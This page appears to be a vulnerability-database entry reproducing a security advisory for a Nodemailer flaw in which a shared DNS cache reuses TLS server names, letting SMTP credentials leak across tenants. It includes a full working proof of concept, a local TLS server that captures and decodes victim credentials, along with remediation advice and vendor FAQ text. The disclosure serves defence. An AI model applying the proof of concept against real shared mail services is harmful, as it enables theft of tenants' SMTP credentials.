How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

394,002

Total vulnerabilities in the database

Nodemailer: Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure — nodemailer

Improper Certificate Validation

Summary

Nodemailer's process-global DNS cache is keyed only by host, but each cache entry also stores the caller-specific TLS servername. When two direct SMTPS transports use the same DNS host with different tls.servername values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.

As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with rejectUnauthorized: true, and sends the victim's SMTP credentials to it.

Affected component

Ecosystem: npm
Package: nodemailer
Repository: https://github.com/nodemailer/nodemailer
Tested version: 10.0.1
Tested commit: 40d52215aac65b811d7e131bc916f68605efd9d2
Runtime-confirmed vulnerable versions: 5.0.0 and 10.0.1
Affected versions: >= 5.0.0, <= 10.0.1
Patched versions: None known at the time of this report
Affected mode: Direct TLS/SMTPS connections (secure: true) where different transports use the same non-IP host and different TLS servername values

The vulnerable cache implementation was introduced in commit 6859b5dd96c8d9f0070a3169a877181b71df4a3b on 2018-12-28. Git history shows v5.0.0 as the first release tag containing that commit. The behavior remains present in v10.0.1.

Details

Root cause

src/shared/index.ts defines one module-global DNS cache, keyed only by the DNS host:

export const dnsCache = new Map&lt;string, DnsCacheEntry&gt;();

Although the cache key contains only host, the cached value contains both DNS addresses and the request-specific TLS identity:

const value: DnsCacheValue = {
    addresses: allAddresses,
    servername: options.servername || host
};

dnsCache.set(host, {
    value,
    expires: Date.now() + (options.dnsTtl || DNS_TTL)
});

On a cache hit, resolveHostname() returns the cached servername without considering the current call's options.servername:

if (!cached.expires || cached.expires &gt;= now) {
    return callback(
        null,
        formatDNSValue(cached.value, {
            cached: true
        })
    );
}

formatDNSValue() copies that stale value into the result:

return Object.assign(
    {
        servername: value.servername,
        host,
        _addresses: addresses
    },
    extra || {}
);

For a direct TLS connection, SMTPConnection.connect() initially copies the current transport's TLS configuration into opts. _resolveAndConnect() then overwrites every truthy field with the cached resolver result, including opts.servername:

Object.assign(opts, this.options.tls || {});

if (this.servername &amp;&amp; !opts.servername) {
    opts.servername = this.servername;
}

return this._resolveAndConnect(opts, resolved =&gt; {
    this._connectToHost(opts, this.secureConnection);
});

for (const key of Object.keys(resolved!)) {
    if (key.charAt(0) !== &#039;_&#039; &amp;&amp; (resolved as { [key: string]: any })[key]) {
        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];
    }
}

The resulting opts object is passed to tls.connect(). Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.

The default DNS cache TTL is five minutes:

const DNS_TTL = 5 * 60 * 1000;

Code path

Tenant A: createTransport({ host: H, secure: true,
                            tls: { servername: attackerName } })
  -&gt; SMTPConnection.connect()
  -&gt; _resolveAndConnect(opts)
  -&gt; shared.resolveHostname({ host: H, servername: attackerName })
  -&gt; dnsCache.set(H, { addresses, servername: attackerName })

Victim: createTransport({ host: H, secure: true,
                          tls: { servername: victimName } })
  -&gt; SMTPConnection.connect()
  -&gt; opts.servername = victimName
  -&gt; _resolveAndConnect(opts)
  -&gt; shared.resolveHostname({ host: H, servername: victimName })
  -&gt; dnsCache.get(H)
  -&gt; returns cached servername = attackerName
  -&gt; _resolveAndConnect overwrites opts.servername
  -&gt; tls.connect({ servername: attackerName })
  -&gt; attacker SNI virtual host and certificate are selected
  -&gt; AUTH transmits victim SMTP credentials

Relevant source locations in the tested revision

src/shared/index.ts:184 — five-minute default cache TTL
src/shared/index.ts:245 — process-global cache keyed by host
src/shared/index.ts:247-262 — cached servername returned by formatDNSValue()
src/shared/index.ts:292-323 — host-only lookup and cache-hit return
src/shared/index.ts:350-359 — caller-specific servername stored in host-only cache
src/smtp-connection/index.ts:713-729 — direct TLS options and resolver call
src/smtp-connection/index.ts:741-763 — cached fields overwrite current connection options

PoC

Prerequisites

Node.js 20 (tested with Node.js 20.20.2)
A checkout/build of Nodemailer 10.0.1
OpenSSL to generate the local test certificate

No external SMTP server or network access is required.

1. Generate a certificate for only `attacker.test`

Create openssl.cnf:

[req]
distinguished_name = dn
x509_extensions = ext
prompt = no

[dn]
CN = attacker.test

[ext]
subjectAltName = DNS:attacker.test
basicConstraints = critical,CA:TRUE
keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign
extendedKeyUsage = serverAuth

Generate the certificate and private key:

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf

2. Save the following as `poc-dns-cache-servername-confusion.mjs`

Adjust the two import paths if the PoC is not saved beside the repository checkout.

import fs from &#039;node:fs&#039;;
import tls from &#039;node:tls&#039;;
import nodemailer from &#039;../../nodemailer/dist/esm/nodemailer.js&#039;;
import * as shared from &#039;../../nodemailer/dist/esm/shared/index.js&#039;;

const cert = fs.readFileSync(new URL(&#039;./tls-fixture/attacker-cert.pem&#039;, import.meta.url));
const key = fs.readFileSync(new URL(&#039;./tls-fixture/attacker-key.pem&#039;, import.meta.url));
const observedSni = [];
const observedAuth = [];

const server = tls.createServer({ key, cert }, socket =&gt; {
    observedSni.push(socket.servername);
    socket.write(&#039;220 attacker.test ESMTP\r\n&#039;);
    let input = &#039;&#039;;
    socket.on(&#039;data&#039;, chunk =&gt; {
        input += chunk.toString();
        let end;
        while ((end = input.indexOf(&#039;\r\n&#039;)) &gt;= 0) {
            const line = input.slice(0, end);
            input = input.slice(end + 2);
            if (/^EHLO /i.test(line)) {
                socket.write(&#039;250-attacker.test\r\n250 AUTH PLAIN\r\n&#039;);
            } else if (/^AUTH /i.test(line)) {
                observedAuth.push(line);
                socket.write(&#039;235 2.7.0 Authentication successful\r\n&#039;);
            } else if (/^QUIT/i.test(line)) {
                socket.end(&#039;221 Bye\r\n&#039;);
            } else {
                socket.write(&#039;250 OK\r\n&#039;);
            }
        }
    });
});

await new Promise(resolve =&gt; server.listen(0, &#039;127.0.0.1&#039;, resolve));

try {
    shared.dnsCache.clear();

    // Tenant A seeds the process-global cache for the shared DNS host.
    const attackerTransport = nodemailer.createTransport({
        host: &#039;localhost&#039;,
        port: server.address().port,
        secure: true,
        auth: { user: &#039;[email protected]&#039;, pass: &#039;attacker-secret&#039; },
        tls: {
            ca: cert,
            servername: &#039;attacker.test&#039;,
            rejectUnauthorized: true
        }
    });
    await attackerTransport.verify();
    attackerTransport.close();

    // The victim explicitly configures a different TLS identity.
    const victimTransport = nodemailer.createTransport({
        host: &#039;localhost&#039;,
        port: server.address().port,
        secure: true,
        auth: { user: &#039;[email protected]&#039;, pass: &#039;victim-secret&#039; },
        tls: {
            ca: cert,
            servername: &#039;victim.test&#039;,
            rejectUnauthorized: true
        }
    });
    await victimTransport.verify();
    victimTransport.close();

    const decoded = observedAuth.map(line =&gt;
        line.startsWith(&#039;AUTH PLAIN &#039;)
            ? Buffer.from(line.slice(&#039;AUTH PLAIN &#039;.length), &#039;base64&#039;).toString()
            : null
    );

    console.log(JSON.stringify({
        attackerConfiguredServername: &#039;attacker.test&#039;,
        victimConfiguredServername: &#039;victim.test&#039;,
        serverObservedSniForBothConnections: observedSni,
        serverReceivedCredentials: decoded
    }, null, 2));
} finally {
    shared.dnsCache.clear();
    await new Promise(resolve =&gt; server.close(resolve));
}

3. Build and run

From the Nodemailer checkout:

npm install
npm run build
node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs

Observed result

{
  &quot;attackerConfiguredServername&quot;: &quot;attacker.test&quot;,
  &quot;victimConfiguredServername&quot;: &quot;victim.test&quot;,
  &quot;serverObservedSniForBothConnections&quot;: [
    &quot;attacker.test&quot;,
    &quot;attacker.test&quot;
  ],
  &quot;serverReceivedCredentials&quot;: [
    &quot;\\[email protected]\\u0000attacker-secret&quot;,
    &quot;\\[email protected]\\u0000victim-secret&quot;
  ]
}

The victim configured victim.test, but the server observes attacker.test for both handshakes. The local certificate contains only attacker.test, yet the victim connection succeeds with rejectUnauthorized: true and then sends the victim's username and password.

Expected result

The second connection must use victim.test for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as attacker.test.

Impact

The vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS host. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.

An attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's tls.servername. During the cache lifetime, a victim's direct SMTPS connection to that host can:

send the attacker's server name as SNI;
be routed to the attacker's TLS virtual host;
validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and
transmit the victim's SMTP username and password to that endpoint.

Possession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.

Where the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.

Preconditions and limitations

Two transports must execute in the same Node.js process within the cache lifetime.
They must use the same non-IP host cache key and different tls.servername values.
Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name.
The demonstrated path uses direct SMTPS (secure: true). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.

Suggested remediation

The DNS cache should store DNS data only. servername is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.

One approach is to remove servername from DnsCacheValue and derive the returned value from the current request on every path:

return {
    host: selectedAddress,
    servername: options.servername || options.host || false,
    _addresses: addresses,
    cached: true
};

As defense in depth, _resolveAndConnect() should not overwrite an explicitly configured opts.servername with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.

A regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.

Published: Sep 28, 2026
Updated: Sep 29, 2026
GHSA: GHSA-6vj9-mwq6-2f5v
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 5.9
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

CWEs:

CWE-295

OWASP TOP 10:

A3 - Sensitive Data Exposure

Affected Software
References

Software	Affected versions
nodemailer	`>= 5.0.0, < 10.0.2`

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.